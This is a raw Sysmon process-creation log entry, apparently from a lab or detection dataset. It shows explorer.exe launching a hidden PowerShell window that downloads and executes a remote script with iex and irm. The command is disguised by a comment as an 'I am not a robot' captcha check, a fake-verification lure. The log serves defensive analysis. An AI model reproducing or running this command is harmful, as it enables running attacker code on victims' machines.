154100x8000000000000000591513Microsoft-Windows-Sysmon/Operationalar-win-2-2025-05-14 19:01:22.248{2c0cb891-e882-6824-8c23-000000004603}2912C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe10.0.17763.1 (WinBuild.160101.0800)Windows PowerShellMicrosoft® Windows® Operating SystemMicrosoft CorporationPowerShell.EXE"C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -NoP -WindowStyle Hidden -Command "iex (irm 'https://aatox.com/verify/45.ps1')" # ✅ ''I am not a robot | Captcha Verification Hash: 7680''C:\Windows\system32\WindowsPowerShell\v1.0\AR-WIN-2\Administrator{2c0cb891-a627-6823-6628-090000000000}0x928662HighMD5=7353F60B1739074EB17C5F4DDDEFE239,SHA256=DE96A6E69944335375DC1AC238336066889D9FFC7D73628EF4FE1B1B160AB32C,IMPHASH=741776AACCFC5B71FF59832DCDCACE0F{2c0cb891-a627-6823-f300-000000004603}3928C:\Windows\explorer.exeC:\Windows\Explorer.EXEAR-WIN-2\Administrator